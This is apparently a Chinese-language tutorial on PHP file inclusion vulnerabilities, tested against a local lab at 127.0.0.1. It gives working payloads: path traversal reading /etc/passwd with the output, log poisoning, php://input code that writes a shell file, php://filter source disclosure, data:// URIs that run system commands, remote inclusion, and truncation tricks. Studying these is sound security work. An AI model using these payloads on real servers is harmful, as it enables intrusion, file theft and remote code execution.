> 文章列表 > 文件包含漏洞

文件包含漏洞

文件包含漏洞

文件包含漏洞

简介

程序在引入文件时,引用的文件名用户可控,传入的文件名没有经过合理的校验,导致用户可以操作预计文件之外的文件,就有可能导致文件泄露和恶意代码的注入。

本地文件包含漏洞

被包含的文件在服务器本地

简单例子:

http://127.0.0.1/include/file.php?file=../../../../etc/passwd

页面显示

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false saned:x:108:115::/home/saned:/bin/false whoopsie:x:109:116::/nonexistent:/bin/false speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false webper:x:1000:1000:webper,,,:/home/webper:/bin/bash mysql:x:116:125:MySQL Server,,,:/nonexistent:/bin/false sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin 

本地文件包含漏洞利用

  • 利用上传图片,包含图片 getshell,图片也是作为php执行的

  • 读取文件,读取php源码

  • 包含日志文件getshell

    需要较高的权限

    抓包修改User-Ageny:内容为php代码,这样日志文件中就写入了php代码,拥有较高权限时,利用包含漏洞就可以执行日志中的php代码

  • 包含proc/self/environ 文件getshell

    同上日志文件

  • phpinfo 包含临时文件

  • 伪协议:data://或者php://等(php>5.0时,须配置 allow_url_include=On)

    // php://input
    http://127.0.0.1/include/file01.php?file=php://input
    post data:<?php phpinfo();?>
    // 结果显示phpinfo页面
    // 要getshell可以把post data内容换为 <?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>")?>  (也是需要权限的)// php://filter:http://127.0.0.1/include/file01.php?file=php://filter/read=convert.base64-encode/resource=file01.php//结果
    PGh0bWw+DQo8aGVhZD4NCgkgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KCSA8dGl0bGU+5paH5Lu25YyF5ZCr5ryP5rSePC90aXRsZT4NCg0KPC9oZWFkPg0KPGJvZHk+DQo8YnI+DQoNCjw/cGhwDQokZmlsZW5hbWUgPSBpc3NldCgkX0dFVFsnZmlsZSddKT8kX0dFVFsnZmlsZSddOidmaWxlLnR4dCc7DQoNCmluY2x1ZGUgJGZpbGVuYW1lOw0KPz4NCg0KDQo8L2JvZHk+DQo8L2h0bWw+DQo= //解密后
    <html>
    <head><meta charset="UTF-8"><title>文件包含漏洞</title>
    </head>
    <body>
    <br>
    <?php
    $filename = isset($_GET['file'])?$_GET['file']:'file.txt';
    include $filename;
    ?>
    </body>
    </html>
    
  • data://

    **data://**是一种数据流封装器,data://URL schema(URL schema可以史很多形式)

    需要 php > 5.2 ,allow_url_include=On

http://127.0.0.1/include/file01.php?file=data:text/plain,<?php system(whoami)?>
或
http://127.0.0.1/include/file01.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
结果
www-data 
  • 远程包含
http://127.0.0.1/include/file01.php?file=127.0.0.1/x.txt
x.txt内容也会被当作php代码执行,直接访问地址只显示文本,txt文件最好

文件包含截断

  • 00截断

00字符截断,php<5.3.4(需要magic_quotes_gpc=off)

/etc/passwd

/etc/etcpasswd%00

  • 超长文件截断

php<5.2.8,linux文件名长度大于4096字节,windows大于256字节

利用的是操作系统对目录最大长度限制

截断的字符

./.,重复>256次或重复>4096次

使用burp抓包,Intruder->character blocks

  • 问号截断

适用于远程截断

php>=5.3

allow_url_fopen On

allow_url_include On

http://127.0.0.1/include/file02.php?file=http://127.0.0.1/include/file.jpg?